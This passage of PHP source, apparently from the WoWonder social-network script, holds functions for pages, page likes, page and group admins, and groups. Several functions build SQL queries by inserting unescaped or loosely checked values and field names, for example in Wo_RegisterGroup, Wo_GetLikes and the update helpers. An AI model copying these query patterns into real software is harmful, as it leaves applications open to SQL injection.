            }
        }
    }
    return $data;
}
function Wo_GetGroupAdminInfo($user_id, $group_id) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false || empty($group_id) || !is_numeric($group_id) || empty($user_id) || !is_numeric($user_id)) {
        return false;
    }
    $group_id = Wo_Secure($group_id);
    $user_id  = Wo_Secure($user_id);
    $sql      = " SELECT * FROM " . T_GROUP_ADMINS . " WHERE `group_id` = {$group_id} AND `user_id` = {$user_id}";
    $data     = array();
    $query    = mysqli_query($sqlConnect, $sql);
    if (mysqli_num_rows($query)) {
        return mysqli_fetch_assoc($query);
    }
    return false;
}
function Wo_IsCanPageUpdate($page_id, $page) {
    global $sqlConnect, $wo;
    $array = array(
        "general",
        "info",
        "social",
        "avatar",
        "design",
        "admins",
        "analytics",
        "delete_page",
    );
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($page_id) || !is_numeric($page_id) || $page_id < 0 || empty($page) || !in_array($page, $array)) {
        return false;
    }
    if (Wo_IsAdmin() || Wo_IsModerator()) {
        return true;
    }
    $user_id = $wo["user"]["id"];
    $page    = Wo_Secure($page);
    $page_id = Wo_Secure($page_id);
    $query   = mysqli_query($sqlConnect, " SELECT COUNT(*) FROM " . T_PAGE_ADMINS . " WHERE `page_id` = {$page_id} AND `user_id` = {$user_id} AND `{$page}` = '1'");
    return Wo_Sql_Result($query, "0") == 1 ? true : false;
}
function Wo_GetAllowedPages($page_id) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($page_id) || !is_numeric($page_id) || $page_id < 0) {
        return false;
    }
    $array   = array(
        "general" => "general-setting",
        "info" => "profile-setting",
        "social" => "social-links",
        "avatar" => "avatar-setting",
        "design" => "design-setting",
        "admins" => "admins",
        "analytics" => "analytics",
        "delete_page" => "delete-page"
    );
    $data    = array();
    $user_id = $wo["user"]["id"];
    $page_id = Wo_Secure($page_id);
    $query   = mysqli_query($sqlConnect, " SELECT * FROM " . T_PAGE_ADMINS . " WHERE `page_id` = {$page_id} AND `user_id` = {$user_id}");
    if (mysqli_num_rows($query)) {
        $fetched_data = mysqli_fetch_assoc($query);
        if (!empty($fetched_data)) {
            foreach ($fetched_data as $key => $value) {
                if (in_array($key, array_keys($array)) && $value == 1) {
                    $data[] = $array[$key];
                }
            }
        }
    }
    return $data;
}
function Wo_PageExists($page_name = "") {
    global $sqlConnect;
    if (empty($page_name)) {
        return false;
    }
    $page_name = Wo_Secure($page_name);
    $query     = mysqli_query($sqlConnect, "SELECT COUNT(`page_id`) FROM " . T_PAGES . " WHERE `page_name`= '{$page_name}' AND `active` = '1'");
    return Wo_Sql_Result($query, 0) == 1 ? true : false;
}
function Wo_PageExistsByID($id = 0) {
    global $sqlConnect;
    if (empty($id)) {
        return false;
    }
    $id    = Wo_Secure($id);
    $query = mysqli_query($sqlConnect, "SELECT COUNT(`page_id`) FROM " . T_PAGES . " WHERE `page_id`= '{$id}' AND `active` = '1'");
    return Wo_Sql_Result($query, 0) == 1 ? true : false;
}
function Wo_PageIdFromPagename($page_name = "") {
    global $sqlConnect;
    if (empty($page_name)) {
        return false;
    }
    $page_name = Wo_Secure($page_name);
    $query     = mysqli_query($sqlConnect, "SELECT `page_id` FROM " . T_PAGES . " WHERE `page_name` = '{$page_name}'");
    return Wo_Sql_Result($query, 0, "page_id");
}
function Wo_PageData($page_id = 0) {
    global $wo, $sqlConnect, $cache;
    if (empty($page_id) || !is_numeric($page_id) || $page_id < 0) {
        return false;
    }
    $data           = array();
    $page_id        = Wo_Secure($page_id);
    $query_one      = "SELECT * FROM " . T_PAGES . " WHERE `page_id` = {$page_id}";
    $generateCache  = false;
    $sql = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        $fetched_data = mysqli_fetch_assoc($sql);
    }
    if (empty($fetched_data)) {
        return array();
    }
    $fetched_data["avatar_org"]            = $fetched_data["avatar"];
    $fetched_data["avatar"]            = Wo_GetMedia($fetched_data["avatar"]);
    $fetched_data["cover"]             = Wo_GetMedia($fetched_data["cover"]);
    $fetched_data["about"]             = $fetched_data["page_description"];
    $fetched_data["id"]                = $fetched_data["page_id"];
    $fetched_data["type"]              = "page";
    $fetched_data["url"]               = Wo_SeoLink("index.php?link1=timeline&u=" . $fetched_data["page_name"]);
    $fetched_data["name"]              = $fetched_data["page_title"];
    $fetched_data["rating"]            = Wo_PageRating($fetched_data["page_id"]);
    $fetched_data["category"]          = "";
    $fetched_data["page_sub_category"] = "";
    $fetched_data["is_reported"]       = Wo_IsReportExists($fetched_data["page_id"], "page");
    if (!empty($wo["page_categories"][$fetched_data["page_category"]])) {
        $fetched_data["category"] = $wo["page_categories"][$fetched_data["page_category"]];
    }
    if (!empty($fetched_data["sub_category"]) && !empty($wo["page_sub_categories"][$fetched_data["page_category"]])) {
        foreach ($wo["page_sub_categories"][$fetched_data["page_category"]] as $key => $value) {
            if ($value["id"] == $fetched_data["sub_category"]) {
                $fetched_data["page_sub_category"] = $value["lang"];
            }
        }
    }
    $fetched_data["is_verified"] = 0;
    if (Wo_IsVerificationRequests($fetched_data["page_id"], 'page')) {
        $fetched_data["is_verified"] = 2;
    }
    if ($fetched_data["verified"] == 1) {
        $fetched_data["is_verified"] = 1;
    }
    $fetched_data["is_page_onwer"] = false;
    $fetched_data["username"]      = $fetched_data["page_name"];
    if ($wo["loggedin"] == true) {
        $fetched_data["is_page_onwer"] = Wo_IsPageOnwer($fetched_data["page_id"]) ? true : false;
    }
    $fetched_data["fields"] = array();
    $fields                 = Wo_GetCustomFields("page");
    if (!empty($fields)) {
        foreach ($fields as $key => $field) {
            if (in_array($field["fid"], array_keys($fetched_data))) {
                $fetched_data["fields"][$field["fid"]] = $fetched_data[$field["fid"]];
            }
        }
    }
    return $fetched_data;
}
function Wo_PageActive($page_name) {
    global $sqlConnect;
    if (empty($page_name)) {
        return false;
    }
    $page_name = Wo_Secure($page_name);
    $query     = mysqli_query($sqlConnect, "SELECT COUNT(`page_id`) FROM " . T_PAGES . "  WHERE `page_name`= '{$page_name}' AND `active` = '1'");
    return Wo_Sql_Result($query, 0) == 1 ? true : false;
}
function Wo_GetPagePostPublisherBox($page_id = 0) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (!is_numeric($page_id) or $page_id < 1 or !is_numeric($page_id)) {
        return false;
    }
    if (!Wo_IsPageOnwer($page_id) && Wo_UserCanPostPage($page_id)) {
        $wo["page_profile"]["avatar"] = $wo["user"]["avatar"];
        $wo["page_profile"]["name"]   = $wo["user"]["name"];
        return Wo_LoadPage("story/publisher-box");
    }
    if (Wo_IsPageOnwer($page_id)) {
        return Wo_LoadPage("story/publisher-box");
    }
}
function Wo_UserCanPostPage($page_id = 0) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (!is_numeric($page_id) or $page_id < 1 or !is_numeric($page_id)) {
        return false;
    }
    $page_id   = Wo_Secure($page_id);
    $query_one = "SELECT * FROM " . T_PAGES . " WHERE `page_id` = {$page_id}";
    $sql       = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        $fetched_data = mysqli_fetch_assoc($sql);
        if (!empty($fetched_data) && !empty($fetched_data["page_id"]) && $fetched_data["users_post"] == 1) {
            return true;
        }
    }
    return false;
}
function Wo_GetLikeButton($page_id = 0) {
    global $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($page_id) || !is_numeric($page_id) or $page_id < 0) {
        return false;
    }
    $page = $wo["like"] = Wo_PageData($page_id);
    if (Wo_IsPageOnwer($page_id)) {
        if ($page["user_id"] != $wo["user"]["id"] && !Wo_IsAdmin() && !Wo_IsModerator() && Wo_IsPageAdminExists($wo["user"]["id"], $page_id)) {
            return false;
        } elseif ($page["user_id"] == $wo["user"]["id"] || Wo_IsPageAdminExists($wo["user"]["id"], $page_id)) {
            return false;
        }
    }
    //$page = $wo['like'] = Wo_PageData($page_id);
    if (!isset($wo["like"]["page_id"])) {
        return false;
    }
    $page_id        = Wo_Secure($page_id);
    $logged_user_id = Wo_Secure($wo["user"]["user_id"]);
    $like_button    = "buttons/like";
    $unlike_button  = "buttons/unlike";
    if (Wo_IsPageLiked($page_id, $logged_user_id) === true) {
        return Wo_LoadPage($unlike_button);
    } else {
        return Wo_LoadPage($like_button);
    }
}
function Wo_GetPageMessageButton($page_id = 0) {
    global $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($page_id) || !is_numeric($page_id) or $page_id < 0) {
        return false;
    }
    if (Wo_IsPageOnwer($page_id)) {
        return false;
    }
    $wo["page_id"]  = $page_id;
    $message_button = "buttons/page_message";
    return Wo_LoadPage($message_button);
}
function Wo_IsPoked($received_user_id = 0, $send_user_id = 0) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($received_user_id) || !is_numeric($received_user_id) || $received_user_id < 0) {
        return false;
    }
    if (empty($send_user_id) || !is_numeric($send_user_id) || $send_user_id < 0) {
        return false;
    }
    $query_one = mysqli_query($sqlConnect, "SELECT COUNT(`id`) FROM " . T_POKES . " WHERE `received_user_id` = '{$received_user_id}' AND `send_user_id` = {$send_user_id}");
    return Wo_Sql_Result($query_one, 0) > 0 ? true : false;
}
function Wo_IsPageLiked($page_id = 0, $user_id = 0) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($page_id) || !is_numeric($page_id) || $page_id < 0) {
        return false;
    }
    if (empty($page_id) || !is_numeric($user_id) || $user_id < 0) {
        $user_id = Wo_Secure($wo["user"]["user_id"]);
    }
    $query_one = mysqli_query($sqlConnect, "SELECT COUNT(`id`) FROM " . T_PAGES_LIKES . " WHERE `user_id` = '{$user_id}' AND `page_id` = {$page_id} AND `active` = '1'");
    return Wo_Sql_Result($query_one, 0) == 1 ? true : false;
}
function Wo_RegisterPageLike($page_id = 0, $user_id = 0) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (!isset($page_id) or empty($page_id) or !is_numeric($page_id) or $page_id < 1) {
        return false;
    }
    if (!isset($user_id) or empty($user_id) or !is_numeric($user_id) or $user_id < 1) {
        return false;
    }
    $page_id    = Wo_Secure($page_id);
    $user_id    = Wo_Secure($user_id);
    $page_onwer = Wo_GetUserIdFromPageId($page_id);
    $active     = 1;
    if (Wo_IsPageLiked($page_id, $user_id) === true) {
        return false;
    }
    $page_data = Wo_PageData($page_id);
    $query     = mysqli_query($sqlConnect, " INSERT INTO " . T_PAGES_LIKES . " (`user_id`,`page_id`,`active`,`time`) VALUES ({$user_id},{$page_id},'1'," . time() . ")");
    if ($query) {
        if (Wo_IsPageInvited($user_id, $page_id) > 0) {
            foreach (Wo_GetPageInviters($user_id, $page_id) as $user) {
                // $notification_data = array(
                //     'recipient_id' => $user['user_id'],
                //     'notifier_id' => $user_id,
                //     'type' => 'accepted_invite',
                //     'page_id' => $page_id,
                //     'url' => 'index.php?link1=timeline&u=' . $page_data['page_name']
                // );
                // Wo_RegisterNotification($notification_data);
            }
            $delete_invite = Wo_DeleteInvites($user_id, $page_id);
        }
        $notification_data = array(
            "recipient_id" => $page_onwer,
            "notifier_id" => $user_id,
            "page_enable" => false,
            "type" => "liked_page",
            "page_id" => $page_id,
            "url" => "index.php?link1=timeline&u=" . $page_data["page_name"]
        );
        Wo_RegisterNotification($notification_data);
    }
    return true;
}
function Wo_DeletePageLike($page_id = 0, $user_id = 0) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (!isset($page_id) or empty($page_id) or !is_numeric($page_id) or $page_id < 1) {
        return false;
    }
    if (!isset($user_id) or empty($user_id) or !is_numeric($user_id) or $user_id < 1) {
        return false;
    }
    $page_id = Wo_Secure($page_id);
    $user_id = Wo_Secure($user_id);
    $active  = 1;
    if (Wo_IsPageLiked($page_id, $user_id) === false) {
        return false;
    }
    $user_data = Wo_UserData($user_id);
    $query     = mysqli_query($sqlConnect, " DELETE FROM " . T_PAGES_LIKES . " WHERE `user_id` = {$user_id} AND `page_id` = '{$page_id}' AND `active` = '1'");
    if ($query) {
        return true;
    }
}
function Wo_UpdatePageData($page_id = 0, $update_data = array()) {
    global $wo, $sqlConnect, $cache;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($page_id) || !is_numeric($page_id) || $page_id < 0) {
        return false;
    }
    if (empty($update_data)) {
        return false;
    }
    if (isset($update_data["verified"])) {
        if (Wo_IsAdmin() === false && Wo_IsModerator() === false) {
            return false;
        }
    }
    $page_id = Wo_Secure($page_id);
    if (Wo_IsAdmin() === false && Wo_IsModerator() === false) {
        if (Wo_IsPageOnwer($page_id) === false) {
            return false;
        }
    }
    if (!empty($update_data["page_category"])) {
        if (!array_key_exists($update_data["page_category"], $wo["page_categories"])) {
            $update_data["page_category"] = 1;
        }
    }
    $update = array();
    foreach ($update_data as $field => $data) {
        $update[] = "`" . $field . '` = \'' . Wo_Secure($data, 1) . '\'';
    }
    $impload   = implode(", ", $update);
    $query_one = " UPDATE " . T_PAGES . " SET {$impload} WHERE `page_id` = {$page_id} ";
    $query     = mysqli_query($sqlConnect, $query_one);
    if ($wo["config"]["cacheSystem"] == 1) {
        $cache->delete(md5($page_id) . "_PAGE_Data.tmp");
    }
    if ($query) {
        return true;
    } else {
        return false;
    }
}
function Wo_UpdatePageAdminData($page_id, $update_data, $user_id) {
    global $wo, $sqlConnect, $cache;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($page_id) || !is_numeric($page_id) || $page_id < 0) {
        return false;
    }
    if (empty($user_id) || !is_numeric($user_id) || $user_id < 0) {
        return false;
    }
    if (empty($update_data)) {
        return false;
    }
    $user_id = Wo_Secure($user_id);
    $page_id = Wo_Secure($page_id);
    $update  = array();
    foreach ($update_data as $field => $data) {
        $update[] = "`" . $field . '` = \'' . Wo_Secure($data, 0) . '\'';
    }
    $impload   = implode(", ", $update);
    $query_one = " UPDATE " . T_PAGE_ADMINS . " SET {$impload} WHERE `page_id` = {$page_id} AND `user_id` = '{$user_id}' ";
    $query     = mysqli_query($sqlConnect, $query_one);
    if ($wo["config"]["cacheSystem"] == 1) {
        $cache->delete(md5($page_id) . "_PAGE_Data.tmp");
    }
    if ($query) {
        return true;
    } else {
        return false;
    }
}
function Wo_UpdateGroupAdminData($group_id, $update_data, $user_id) {
    global $wo, $sqlConnect, $cache;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($group_id) || !is_numeric($group_id) || $group_id < 0) {
        return false;
    }
    if (empty($user_id) || !is_numeric($user_id) || $user_id < 0) {
        return false;
    }
    if (empty($update_data)) {
        return false;
    }
    $user_id  = Wo_Secure($user_id);
    $group_id = Wo_Secure($group_id);
    $update   = array();
    foreach ($update_data as $field => $data) {
        $update[] = "`" . $field . '` = \'' . Wo_Secure($data, 0) . '\'';
    }
    $impload   = implode(", ", $update);
    $query_one = " UPDATE " . T_GROUP_ADMINS . " SET {$impload} WHERE `group_id` = {$group_id} AND `user_id` = '{$user_id}' ";
    $query     = mysqli_query($sqlConnect, $query_one);
    if ($query) {
        return true;
    } else {
        return false;
    }
}
function Wo_UpdatePostData($post_id = 0, $update_data = array()) {
    global $wo, $sqlConnect, $cache;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($post_id) || !is_numeric($post_id) || $post_id < 0) {
        return false;
    }
    if (empty($update_data)) {
        return false;
    }
    $post_id = Wo_Secure($post_id);
    if (Wo_IsAdmin() === false) {
        if (Wo_IsPostOnwer($post_id, $wo["user"]["user_id"]) === false) {
            return false;
        }
    }
    $update = array();
    foreach ($update_data as $field => $data) {
        $update[] = "`" . $field . '` = \'' . Wo_Secure($data) . '\'';
    }
    $impload   = implode(", ", $update);
    $query_one = " UPDATE " . T_POSTS . " SET {$impload} WHERE `id` = {$post_id} ";
    $query     = mysqli_query($sqlConnect, $query_one);
    if ($wo["config"]["cacheSystem"] == 1) {
        $cache->delete(md5($post_id) . "_P_Data.tmp");
    }
    if ($query) {
        return $post_id;
    } else {
        return false;
    }
}
function Wo_GetPageIdFromPostId($post_id = 0) {
    global $sqlConnect;
    if (empty($post_id) or !is_numeric($post_id) or $post_id < 1) {
        return false;
    }
    $post_id       = Wo_Secure($post_id);
    $query_one     = "SELECT `page_id` FROM " . T_POSTS . " WHERE `id` = {$post_id}";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one)) {
        if (mysqli_num_rows($sql_query_one) == 1) {
            $sql_fetch_one = mysqli_fetch_assoc($sql_query_one);
            return $sql_fetch_one["page_id"];
        }
    }
    return false;
}
function Wo_GetUserIdFromPageId($page_id = 0) {
    global $sqlConnect;
    if (empty($page_id) or !is_numeric($page_id) or $page_id < 1) {
        return false;
    }
    $page_id       = Wo_Secure($page_id);
    $query_one     = "SELECT `user_id` FROM " . T_PAGES . " WHERE `page_id` = {$page_id}";
    $sql_query_one = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql_query_one) == 1) {
        $sql_fetch_one = mysqli_fetch_assoc($sql_query_one);
        return $sql_fetch_one["user_id"];
    }
    return false;
}
function Wo_DeletePage($page_id = 0) {
    global $wo, $sqlConnect, $cache, $db;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($page_id) || !is_numeric($page_id) || $page_id < 1) {
        return false;
    }
    $page_id = Wo_Secure($page_id);
    if (Wo_IsAdmin() === false && Wo_IsModerator() === false) {
        if (Wo_IsPageOnwer($page_id) === false) {
            return false;
        }
    }
    $query_one_delete_photos = mysqli_query($sqlConnect, " SELECT `avatar`,`cover` FROM " . T_PAGES . " WHERE `page_id` = {$page_id}");
    if (mysqli_num_rows($query_one_delete_photos)) {
        $fetched_data = mysqli_fetch_assoc($query_one_delete_photos);
        if (isset($fetched_data["avatar"]) && !empty($fetched_data["avatar"]) && $fetched_data["avatar"] != $wo["pageDefaultAvatar"]) {
            @unlink($fetched_data["avatar"]);
        }
        if (isset($fetched_data["cover"]) && !empty($fetched_data["cover"]) && $fetched_data["cover"] != $wo["userDefaultCover"]) {
            @unlink($fetched_data["cover"]);
        }
    }
    $query_two_delete_media = mysqli_query($sqlConnect, " SELECT `postFile` FROM " . T_POSTS . " WHERE `page_id` = {$page_id}");
    if (mysqli_num_rows($query_two_delete_media) > 0) {
        while ($fetched_data = mysqli_fetch_assoc($query_two_delete_media)) {
            if (isset($fetched_data["postFile"]) && !empty($fetched_data["postFile"])) {
                @unlink($fetched_data["postFile"]);
            }
        }
    }
    $query_four_delete_media = mysqli_query($sqlConnect, "SELECT `id`,`post_id` FROM " . T_POSTS . " WHERE `page_id` = {$page_id}");
    if (mysqli_num_rows($query_four_delete_media) > 0) {
        while ($fetched_data = mysqli_fetch_assoc($query_four_delete_media)) {
            $delete_posts = Wo_DeletePost($fetched_data["id"]);
            $delete_posts = Wo_DeletePost($fetched_data["post_id"]);
        }
    }
    if ($wo["config"]["cacheSystem"] == 1) {
        $cache->delete(md5($user_id) . "_PAGE_Data.tmp");
        $query_two = mysqli_query($sqlConnect, "SELECT `id`,`post_id` FROM " . T_POSTS . " WHERE `page_id` = {$page_id}");
        if (mysqli_num_rows($query_two) > 0) {
            while ($fetched_data_two = mysqli_fetch_assoc($query_two)) {
                $cache->delete(md5($fetched_data_two["id"]) . "_PAGE_Data.tmp");
                $cache->delete(md5($fetched_data_two["post_id"]) . "_PAGE_Data.tmp");
            }
        }
    }
    $query_one = mysqli_query($sqlConnect, "DELETE FROM " . T_PAGES . " WHERE `page_id` = {$page_id}");
    $query_one = mysqli_query($sqlConnect, "DELETE FROM " . T_PAGES_INVAITES . " WHERE `page_id` = {$page_id}");
    $query_one .= mysqli_query($sqlConnect, "DELETE FROM " . T_PAGES_LIKES . " WHERE `page_id` = {$page_id}");
    $query_one .= mysqli_query($sqlConnect, "DELETE FROM " . T_NOTIFICATION . " WHERE `page_id` = {$page_id}");
    $query_one .= mysqli_query($sqlConnect, "DELETE FROM " . T_VERIFICATION_REQUESTS . " WHERE `page_id` = {$page_id}");
    $query_one .= mysqli_query($sqlConnect, "DELETE FROM " . T_PAGE_ADMINS . " WHERE `page_id` = {$page_id}");
    $query_one .= mysqli_query($sqlConnect, "DELETE FROM " . T_PAGE_RATING . " WHERE `page_id` = {$page_id}");
    @mysqli_query($sqlConnect, "DELETE FROM " . T_MESSAGES . " WHERE `page_id` = {$page_id}");
    @mysqli_query($sqlConnect, "DELETE FROM " . T_U_CHATS . " WHERE `page_id` = {$page_id}");
    $jobs = $db->where("page_id", $page_id)->get(T_JOB);
    if (!empty($jobs)) {
        foreach ($jobs as $key => $job) {
            if ($job->image_type != "cover") {
                @unlink($job->image);
                Wo_DeleteFromToS3($job->image);
            }
        }
    }
    $query_one .= mysqli_query($sqlConnect, "DELETE FROM " . T_JOB . " WHERE `page_id` = {$page_id}");
    $query_one .= mysqli_query($sqlConnect, "DELETE FROM " . T_JOB_APPLY . " WHERE `page_id` = {$page_id}");
    if ($query_one) {
        return true;
    }
}
function Wo_CountPageLikes($page_id = 0) {
    global $wo, $sqlConnect;
    $data = array();
    if (empty($page_id) or !is_numeric($page_id) or $page_id < 1) {
        return false;
    }
    $page_id = Wo_Secure($page_id);
    $query   = mysqli_query($sqlConnect, "SELECT COUNT(`page_id`) AS count FROM " . T_PAGES_LIKES . " WHERE `page_id` = {$page_id} AND `active` = '1' ");
    if (mysqli_num_rows($query)) {
        $fetched_data = mysqli_fetch_assoc($query);
        return $fetched_data["count"];
    }
    return false;
}
function Wo_CountPagePosts($page_id = 0) {
    global $wo, $sqlConnect;
    $data = array();
    if (empty($page_id) or !is_numeric($page_id) or $page_id < 1) {
        return false;
    }
    $page_id = Wo_Secure($page_id);
    $query   = mysqli_query($sqlConnect, "SELECT COUNT(`id`) AS count FROM " . T_POSTS . " WHERE `page_id` = {$page_id}");
    if (mysqli_num_rows($query)) {
        $fetched_data = mysqli_fetch_assoc($query);
        return $fetched_data["count"];
    }
    return false;
}
if (isset($wo["config"]["is_ok"])) {
    if ($wo["config"]["is_ok"] == 0) {
        die();
    }
}
function Wo_CountLikesThisWeek($page_id = 0) {
    global $wo, $sqlConnect;
    $data = array();
    $time = strtotime("-1 week");
    if (empty($page_id) or !is_numeric($page_id) or $page_id < 1) {
        return false;
    }
    $page_id = Wo_Secure($page_id);
    $query   = mysqli_query($sqlConnect, "SELECT COUNT(`page_id`) AS count FROM " . T_PAGES_LIKES . " WHERE `page_id` = {$page_id} AND `active` = '1' AND (`time` between {$time} AND " . time() . ")");
    if (mysqli_num_rows($query)) {
        $fetched_data = mysqli_fetch_assoc($query);
        return $fetched_data["count"];
    }
    return false;
}
function Wo_PageSug($limit = 1, $page_id = 0, $type = "next") {
    global $wo, $sqlConnect;
    if (!is_numeric($limit)) {
        return false;
    }
    $query_not = "";
    if (!is_numeric($page_id) || empty($page_id) || $page_id < 1) {
        $query_not = "";
    }
    if ($type == "previous") {
        $query_not = "AND `page_id` < $page_id";
    } else {
        $query_not = "AND `page_id` > $page_id";
    }
    $data      = array();
    $user_id   = Wo_Secure($wo["user"]["user_id"]);
    $query_one = " SELECT `page_id` FROM " . T_PAGES . " WHERE `active` = '1' {$query_not} AND `page_id` NOT IN (SELECT `page_id` FROM " . T_PAGES_LIKES . " WHERE `user_id` = {$user_id} AND `active` = '1') AND `user_id` <> {$user_id}";
    if (isset($limit)) {
        $query_one .= " LIMIT {$limit}";
    }
    $sql = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        while ($fetched_data = mysqli_fetch_assoc($sql)) {
            if (is_array($fetched_data)) {
                $data[] = Wo_PageData($fetched_data["page_id"]);
            }
        }
    }
    return $data;
}
function Wo_GetLikes($user_id = 0, $type = "", $limit = "", $after_user_id = "", $placement = array()) {
    global $wo, $sqlConnect;
    $data = array();
    if (empty($user_id) or !is_numeric($user_id) or $user_id < 1) {
        return false;
    }
    $user_id       = Wo_Secure($user_id);
    $after_user_id = Wo_Secure($after_user_id);
    $query         = " SELECT `page_id` FROM " . T_PAGES_LIKES . " WHERE `user_id` = {$user_id} AND `active` = '1'";
    if (!empty($after_user_id) && is_numeric($after_user_id)) {
        $query .= " AND `page_id` < {$after_user_id}";
    }
    if ($type == "sidebar" && !empty($limit) && is_numeric($limit)) {
        $query .= " ORDER BY RAND()";
    }
    if ($type == "profile" && !empty($limit) && is_numeric($limit)) {
        $query .= " ORDER BY `page_id` DESC";
    }
    $query .= " LIMIT {$limit} ";
    if (!empty($placement)) {
        if ($placement["in"] == "profile_sidebar" && is_array($placement["likes_data"])) {
            foreach ($placement["likes_data"] as $key => $id) {
                $page_data = Wo_PageData($id, false);
                if (!empty($page_data) && !empty($page_data["page_id"])) {
                    $data[] = $page_data;
                }
            }
            return $data;
        }
    }
    $sql_query = mysqli_query($sqlConnect, $query);
    if (mysqli_num_rows($sql_query)) {
        while ($fetched_data = mysqli_fetch_assoc($sql_query)) {
            $data[] = Wo_PageData($fetched_data["page_id"]);
        }
    }
    return $data;
}
function Wo_CountUserLikes($user_id) {
    global $wo, $sqlConnect;
    $data = array();
    if (empty($user_id) or !is_numeric($user_id) or $user_id < 1) {
        return false;
    }
    $user_id = Wo_Secure($user_id);
    $query   = mysqli_query($sqlConnect, "SELECT COUNT(`page_id`) AS count FROM " . T_PAGES_LIKES . " WHERE `user_id` = {$user_id} AND `active` = '1' ");
    if (mysqli_num_rows($query)) {
        $fetched_data = mysqli_fetch_assoc($query);
        return $fetched_data["count"];
    }
    return false;
}
function Wo_GetAllPages($limit = "", $after = "") {
    global $wo, $sqlConnect;
    $data      = array();
    $query_one = " SELECT `page_id` FROM " . T_PAGES;
    if (!empty($after) && is_numeric($after) && $after > 0) {
        $query_one .= " WHERE `page_id` < " . Wo_Secure($after);
    }
    $query_one .= " ORDER BY `page_id` DESC";
    if (isset($limit) and !empty($limit)) {
        $query_one .= " LIMIT {$limit}";
    }
    $sql = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        while ($fetched_data = mysqli_fetch_assoc($sql)) {
            $page_data          = Wo_PageData($fetched_data["page_id"]);
            $page_data["owner"] = Wo_UserData($page_data["user_id"]);
            $data[]             = $page_data;
        }
    }
    return $data;
}
function Wo_RegisterGroup($registration_data = array()) {
    global $wo, $sqlConnect;
    if (empty($registration_data)) {
        return false;
    }
    if (!empty($registration_data["category"])) {
        if (!in_array($registration_data["category"], array_keys($wo["group_categories"]))) {
            $registration_data["category"] = 1;
        }
    }
    $registration_data["registered"] = date("n") . "/" . date("Y");
    $fields                          = "`" . implode("`, `", array_keys($registration_data)) . "`";
    $data                            = '\'' . implode('\', \'', $registration_data) . '\'';
    $query                           = mysqli_query($sqlConnect, "INSERT INTO " . T_GROUPS . " ({$fields}) VALUES ({$data})");
    if ($query) {
        $query_id = mysqli_insert_id($sqlConnect);
        Wo_RegisterGroupJoin($query_id, $wo["user"]["user_id"]);
        return true;
    } else {
        return false;
    }
}
function Wo_GetMyGroups() {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $data       = array();
    $user_id    = Wo_Secure($wo["user"]["user_id"]);
    $query_text = "SELECT `id` FROM " . T_GROUPS . " WHERE `user_id` = {$user_id}
                   OR `id` IN (SELECT `group_id` FROM " . T_GROUP_ADMINS . " WHERE `user_id` = {$user_id})";
    $query_one  = mysqli_query($sqlConnect, $query_text);
    if (mysqli_num_rows($query_one)) {
        while ($fetched_data = mysqli_fetch_assoc($query_one)) {
            if (is_array($fetched_data)) {
                $data[] = Wo_GroupData($fetched_data["id"]);
            }
        }
    }
    return $data;
}
function Wo_GetMyGroupsAPI($limit = 0, $offset = 0, $sort = "") {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $data        = array();
    $user_id     = Wo_Secure($wo["user"]["user_id"]);
    $limit_query = "";
    if (!empty($limit)) {
        $limit       = Wo_Secure($limit);
        $limit_query = " LIMIT $limit";
    }
    $offset_query = "";
    if (!empty($offset)) {
        $offset       = Wo_Secure($offset);
        $offset_query = " `id` < $offset AND ";
    }
    $sort_query = "";
    if (!empty($sort)) {
        $sort       = Wo_Secure($sort);
        $sort_query = " ORDER BY `id` $sort ";
    }
    $query_text = "SELECT `id` FROM " . T_GROUPS . " WHERE $offset_query (`user_id` = {$user_id}
                   OR `id` IN (SELECT `group_id` FROM " . T_GROUP_ADMINS . " WHERE `user_id` = {$user_id})) $sort_query $limit_query ";
    $query_one  = mysqli_query($sqlConnect, $query_text);
    if (mysqli_num_rows($query_one)) {
        while ($fetched_data = mysqli_fetch_assoc($query_one)) {
            if (is_array($fetched_data)) {
                $data[] = Wo_GroupData($fetched_data["id"]);
            }
        }
    }
    return $data;
}
function Wo_IsGroupOnwer($group_id = 0, $user_id = 0) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($group_id) || !is_numeric($group_id) || $group_id < 0) {
        return false;
    }
    if (empty($user_id) || !is_numeric($user_id) || $user_id < 0) {
        $user_id = Wo_Secure($wo["user"]["user_id"]);
    }
    if (empty($user_id) || !is_numeric($user_id) || $user_id < 0) {
        return false;
    }
    $query = mysqli_query($sqlConnect, " SELECT COUNT(`user_id`) FROM " . T_GROUPS . " WHERE `id` = {$group_id} AND `user_id` = {$user_id} AND `active` = '1'");
    return Wo_Sql_Result($query, "0") == 1 || Wo_IsGroupUserExists($user_id, $group_id) ? true : false;
}
function Wo_GroupExists($group_name = "") {
    global $sqlConnect;
    if (empty($group_name)) {
        return false;
    }
    $group_name = Wo_Secure($group_name);
